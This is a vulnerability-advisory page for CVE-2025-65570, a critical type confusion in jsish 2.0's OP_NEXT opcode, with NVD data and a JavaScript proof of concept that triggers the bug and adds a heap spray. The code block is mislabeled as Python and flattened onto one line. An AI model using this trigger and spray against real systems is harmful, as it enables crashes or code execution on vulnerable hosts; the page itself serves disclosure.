Security Vulnerability Report
中文
CVE-2025-65570 CVSS 9.8 CRITICAL

CVE-2025-65570

Published: 2025-12-29 15:16:02
Last Modified: 2025-12-31 20:04:11

Description

A type confusion in jsish 2.0 allows incorrect control flow during execution of the OP_NEXT opcode. When an “instanceof” expression uses an array element access as the left-hand operand inside a for-in loop, the instructions implementation leaves an additional array reference on the stack rather than consuming it during OP_INSTANCEOF. As a result, OP_NEXT interprets the array as an iterator object and reads the iterCmd function pointer from an invalid structure, potentially causing a crash or enabling code execution depending on heap layout.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:jsish:jsish:2.0:*:*:*:*:*:*:* - VULNERABLE
jsish 2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-65570 PoC - jsish 2.0 Type Confusion in OP_NEXT // This PoC demonstrates the type confusion vulnerability where an array // reference is left on the stack during instanceof expression evaluation // in a for-in loop, causing OP_NEXT to interpret it as an iterator. function trigger_vulnerability() { var target = [1, 2, 3]; var constructor = function() {}; // Trigger the type confusion for (var key in target) { // The instanceof expression with array element access as LHS // leaves an additional array reference on the stack target[key] instanceof constructor; // OP_NEXT interprets the leftover array reference as iterator // and attempts to read iterCmd function pointer from invalid structure } } // Heap spraying technique to increase exploit reliability function heap_spray() { var spray_size = 0x10000; var spray_data = []; // Create many objects to control heap layout for (var i = 0; i < spray_size; i++) { spray_data.push(new Array(0x100)); } return spray_data; } // Execute the exploit try { heap_spray(); trigger_vulnerability(); } catch (e) { print("Exception caught: " + e.message); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65570", "sourceIdentifier": "[email protected]", "published": "2025-12-29T15:16:01.763", "lastModified": "2025-12-31T20:04:10.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A type confusion in jsish 2.0 allows incorrect control flow during execution of the OP_NEXT opcode. When an “instanceof” expression uses an array element access as the left-hand operand inside a for-in loop, the instructions implementation leaves an additional array reference on the stack rather than consuming it during OP_INSTANCEOF. As a result, OP_NEXT interprets the array as an iterator object and reads the iterCmd function pointer from an invalid structure, potentially causing a crash or enabling code execution depending on heap layout."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jsish:jsish:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "D2EBBCFD-094B-4ABF-B39E-A3EBD0D2CC83"}]}]}], "references": [{"url": "https://blog.mcsky.ro/writeups/2025/11/15/inline8-writeup.html", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://blog.mcsky.ro/writeups/2025/11/15/inline8-writeup.html", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}